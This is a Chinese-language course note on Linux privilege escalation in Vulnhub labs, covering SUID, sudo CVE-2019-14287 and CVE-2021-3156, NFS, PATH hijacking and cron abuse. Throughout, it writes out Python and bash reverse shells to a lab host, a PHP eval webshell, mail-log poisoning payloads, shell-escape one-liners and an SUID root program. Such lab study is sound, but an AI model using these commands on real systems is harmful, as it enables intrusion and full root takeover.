第139-140天:Linux系统权限提升篇&Vulhub&辅助项目&SUID权限&SUDO指令&版本漏洞

SUID&SUDO介绍
SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。

通俗来讲就是当root用户赋予一个文件suid、sudo权限时,导致这个文件被调用的时候就会享有root权限

image-20250910190516226

SUID&SUDO利用参考地址

https://gtfobins.github.io/

image-20250910190554963

演示案例-Linux系统提权-Web权限&普通用户权限-Suid

SUID&GUID-入门

SUID和GUID其实是差不多的含义,一个是用户拥有,一个是一整个组都拥有suid权限

复现环境:https://www.vulnhub.com/entry/dc-1,292/

SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)
SUID和SUDO的参考项目:https://gtfobins.github.io/

image-20250911193419574

image-20250911193453402

和上一个章节一样,所以这里同样使用msf进行利用。拿到webshell之后使用检测脚本进行检测

image-20250911194039282

image-20250911194212662

从上面提到过的github的一个suid和sudo提权的项目里面可以找到:

image-20250911194337103

image-20250911194435978

1
2
3
4
which find
/usr/bin/find . -exec /bin/sh -p \; -quit #如果不行,就用下面这几种
/usr/bin/find . -exec /bin/bash -p \; -quit
/usr/bin/find . -exec '/bin/sh' \;

image-20250911194830924

还可以使用手工的方式进行suid检测:

1
2
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

SUID&GUID-进阶

复现环境:https://www.vulnhub.com/entry/toppo-1,245/

image-20250911195427247

image-20250911195442793

然后就可以开启了,由于他还是dc的那个主机,为了节省时间,直接扫192.168.111.143

image-20250911195550781

image-20250911195603170

通过目录扫描得到一个密码:

image-20250911195643003

账号是:ted,似乎这个是有提示,但是小迪没有找到是哪里有提示。

1
ted/12345ted123

image-20250911195849776

直接使用ssh进行登陆,然后同样上传检测脚本,或者使用手工检测:

1
find / -perm -u=s -type f 2>/dev/null

image-20250911200113340

1
/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.111.131",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20250911200253054

image-20250911200334615

演示案例-Linux系统提权-普通用户权限-Sudo(cve)

SUDO-入门

复现环境:https://www.vulnhub.com/entry/toppo-1,245/

手工命令查找SUDO权限

1
2
cat /etc/sudoers		#查看有哪些程序拥有sudo权限
sudo -l

image-20250911200827121

image-20250911200951886

1
/usr/bin/awk 'BEGIN {system("/bin/sh")}'

image-20250911201038479

SUDO-CVE-2019-14287 权限绕过漏洞

复现环境:https://www.vulnhub.com/entry/devguru-1,620/

image-20250911201920704

1
2
3
4
5
6
7
8
80,8585
http://192.168.111.144/.git/
http://192.168.111.144/adminer.php 数据库管理接口
http://192.168.111.144/backend/backend/auth 后台登录地址

http://192.168.111.144:8585/
http://192.168.111.144:8585/admin

git泄漏(利用点)

1
python2 GitHack.py -u http://192.168.111.144/.git/

image-20250911202435873

在网站的config目录下面有一个database.php,在这里面发现对应的数据库账号密码

image-20250911202642472

1
2
3
october/SQ66EBYx4GT3byXH

数据库:octoberdb

用上面扫到的数据库地址,使用这里账号密码进行登陆一下。

image-20250911202926642

image-20250911203120311

这里还有一种方式,就是新建用户的时候,这个数据库是可以自己选择加密方式的(实战中一般不会有这种机会)

image-20250911203226202

image-20250911205102902

这里的role_id要设置为2,然后密码那里可以选择一种加密方式,要选择encryptimage-20250911204454679

在这里的user组中,将你添加的用户添加他的组id为1,因为有可能id为1就是管理组。

image-20250911204606149

image-20250911205143654

使用刚刚添加的用户进行后台登陆。如果没有这个cms,说明你的权限不对。

1
2
3
4
function onStart(){
//蚁剑连接
@eval($_POST["pass"]);
}

image-20250911205312058

image-20250911205402570

image-20250911205512494

image-20250911210534916

这里使用蚁剑才能进行链接,哥斯拉还连不上,如果想要使用哥斯拉需要写入对应的代码

image-20250911210501958

image-20250911210545746

image-20250911210712385

找备份寻突破(升权)

/var/backup/app.ini.bak 修改用户密码 登录后台 写入反弹

image-20250911211158105

image-20250911211326798

使用得到的用户密码再次进行数据库登陆。

image-20250911211510003

如果代码学的比较好,这里同样是可以追踪代码来达到解密密码,然后就不用创建用户了。如果这里没有源代码,可以看看这个网站是否是开源程序,从名字来看是:gitea

image-20250911211659306

那么你就可以从网上搜关键字,如果可以下载源码,那么就可以进行分析了。

image-20250911211756763

同样因为是公开程序,可以看看是否有对应的漏洞可以直接利用。

image-20250911212217015

还有一种方式就是,可能开源程序的默认密码是123456,然后你就可以现在本地搭建一遍,然后将自己本地数据库的那个加密后的值将这里的值进行调换,这里用的也是这个程序的加密方式,密码就改成123456了。

1
4f6289d97c8e4bb7d06390ee09320a272ae31b07363dbee078dea49e4881cdda50f886b52ed5a895

image-20250911212411844

然后就可以使用:

1
frank/123456

image-20250911212442896

为什么这里不新建一个用户,因为程序中限制了注册用户,就算这里你用加密后的密文,然后去添加用户,这个添加的用户也登陆不了的。

image-20250911212702832

image-20250911212728214

插入反弹shell

image-20250911212844206

这里还提示我,githook写的有问题,这里我就换一个反弹shell的命令。

image-20250911213224494

1
bash -c "exec bash -i >& /dev/tcp/192.168.111.131/5566 0>&1"

然后随便编辑一个文件就行。

image-20250911213305347

可以看到shell已经弹回来了。

利用sudo提权(cve-2019-14287)

CVE-2019-14287 的利用范围主要集中在 sudo 1.8.28 之前的版本

1
sudo -l

image-20250911213342509

image-20250911213512582

image-20250911213707129

1
/usr/bin/sqlite3 /dev/null '.shell /bin/sh'

image-20250911213807338

发现提权失败。通过wp得知,是通过sudo进行提权。

1
sudo -v

image-20250911213905335

1
sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'

image-20250911214308712

1
2
3
git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限)

gitea数据库配置备份文件泄露 => 连接gitea数据库,找到gitea的用户密码 => 登入gitea,写shell(更高权限) => sudo版本提权。

SUDO-CVE(CVE-2021-3156) 提权漏洞

影响的版本:

1
2
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

我这里没有kali的老版本,我这里使用centos7

判断漏洞是否存在

1
sudoedit -s / 报错存在

利用

1
2
3
4
5
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 0

image-20250911224641052

我这里找网上下载ubuntu18利用没有成功。想要成功还得使用kali,但是不想折腾了,直接放成功的截图吧。

权限提升-Linux系统权限提升篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID

演示案例-Linux系统提权-Web&普通用户-SUID-NFS安全

NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。
virtualbox官网下载地址:https://www.virtualbox.org/wiki/Downloads
靶机下载地址:https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/

这个靶机还不能用vmware打开,得用virtualbox打开才能正常兼容。virtualbox一般还不能使用nat网络,得用桥接网络才行。

前提条件:NFS端口服务开启和web或用户权限进行利用

信息收集

因为内网机器太多了,这里推荐直接使用arp查看,然后在使用nmap进行一对一的扫描

image-20250912092655665

1
nmap -p 1-65535 192.168.84.59/24

image-20250912092446979

image-20250912095155666

1
http://192.168.84.59/file.php?file=/etc/passwd

image-20250912093029334

NFS服务利用

1
2
showmount -e 192.168.84.59
//用于显示NFS(网络文件系统)服务器上所有已导出的文件系统列表的命令

image-20250912093123698

1
2
mkdir nfs  //本地kali创建一个nfs目录
mount -t nfs 192.168.84.59:/mnt/nfs ./nfs //把目标的/mnt/nfs目录跟kali本地的nfs目录进行同步

image-20250912093345167

image-20250912093502236

image-20250912093557784

配合SUID提权

这里有一个思路,把本地suid权限的find上传到目标nfs目录里,那对方不也有这个suid权限的find了吗

image-20250912094506482

1
find / -perm -u=s -type f 2>/dev/null  //查看本地suid权限的文件

image-20250912094604866

可以看到刚刚添加的yatming,在对方的系统的suid权限中。

image-20250912094740990

当使用find提权的时候,会报错,因为对方的ubuntu的版本和我们当前的kali版本不符合

1
2
3
#两种解决方案
1、直接使用相对应的系统,将find进行传输
2、找一个与目标版本相似的系统,自己写一个c语言去调用命令

这里采用第二种:

1
2
3
4
5
6
7
8
9
#getroot.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash");
}

image-20250912100329667

image-20250912100357932

1
2
3
4
5
6
cp getroot /root/nfs  //复制bash到挂载目录下
chmod +777 getroot //赋予777权限
chmod +s getroot //赋予suid权限
find / -perm -u=s -type f 2>/dev/null //使用查看当前suid权限看看是否有/mnt/nfs/getroot文件
cd /mnt/nfs //目标机来到/mnt/nfs目录下
./getroot //目标机执行getroot文件触发shell

image-20250912101922254

image-20250912103058385

这里使用msf进行接收shell,接收不到,然后使用nc也弹不回来。

1
python -c 'import pty; pty.spawn("/bin/bash")'  //python起一个交互式终端

没有交互式shell,也不能使用python进行反弹。所以这里就直接将命令,改成id和whami,看个效果

演示案例-Linux系统提权-普通用户-SUID-PATH变量

复现环境:https://www.vulnhub.com/entry/symfonos-1,322/

前提条件:存在SUID的应用中能执行额外命令加用户权限

image-20250912105211114

1
smbclient -L 192.168.111.147

image-20250912105302058

权限获取

发现上面有一个匿名用户

1
smbclient //192.168.111.147/anonymous

image-20250912105435791

image-20250912105511374

1
2
smbclient //192.168.111.147/helios -U helios
helios \ qwerty

image-20250912105702795

发现有一个todo.txt

image-20250912105743631

1
2
#发现有一个路径,用它进行访问
http://192.168.111.147/h3l105/

image-20250912105817269

从页面得知这是一个wordpress的web

image-20250912110016459

1
2
#使用kali自带的工具进行扫描
wpscan --url http://192.168.111.147/h3l105/ --plugins-detection aggressive

image-20250912110105427

image-20250912110252854

1
searchsploit mail masta 1.0  //利用searchsploit搜索mail漏洞或者百度关键字

image-20250912110316941

image-20250912110949494

image-20250912111003310

1
http://192.168.111.147/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

image-20250912111025558

1
2
3
4
5
6
7
telnet 192.168.111.147 25
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT

image-20250912111123972

1
2
http://192.168.111.147/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.111.131",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20250912111314349

但是不能用webshell工具进行链接,所以用了python的方式进行反弹shell。

image-20250912111618426

1
2
python -c 'import pty;pty.spawn("/bin/bash")'  //python起一个交互终端
find / -perm -u=s -type f 2>/dev/null //查看当前环境suid

image-20250912111734416

1
strings /opt/statuscheck  //查看这个文件的内容,寻找有用信息

在 Linux 中,strings 命令用于从 二进制文件、可执行文件、库文件、图像文件 等非文本文件中,提取并输出其中的 可打印字符串(即人类可读的文本,如 ASCII 字符序列)。

image-20250912111941564

利用思路:因为这个工具中有curl命令的执行,那么就可以给curl设置一个环境变量,为下面的内容,当在tmp目录中执行/opt/statuscheck这个程序的时候,就会调用里面的curl,而/opt/statuscheck 这个程序同样是suid权限,所以就会以root用户执行这个命令,如果实战中是一个不能向上面一样使用命令进行解开的话,就需要自己去逆向了

1
2
3
4
5
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH

image-20250912112410056

image-20250912112630818

演示案例-Linux系统提权-Web&普通用户-Cron计划任务

复现环境:https://www.vulnhub.com/entry/jarbas-1,232/

前提条件:Web或用户权限进行查看,任务文件可修改

image-20250912113302640

image-20250912113322570

image-20250912113346301

image-20250912113509307

1
eder:vipsu

image-20250912113553822

使用破击之后的账户进行jenkins登陆

image-20250912113631512

可以考虑从网上搜索jenkins,getshell的方式,如果可以登陆进去的话,就是创建任务。

image-20250912113722776

创建一个自由风格的任务。

image-20250912113800181

image-20250912113856996

image-20250912113919285

image-20250912113926556

权限提升

1
cat /etc/crontab //查看当前服务器的计划任务

image-20250912114223684

1
ls -lia /etc/script/CleaningScript.sh  //查看对该任务文件的权限

image-20250912114306909

1
2
echo "/bin/bash -i >& /dev/tcp/192.168.111.131/5887 0>&1" >> /etc/script/CleaningScript.sh //把反弹shell命令写进这个文件里
cat /etc/script/CleaningScript.sh //查看脚本内容

image-20250912114650380

image-20250912115055552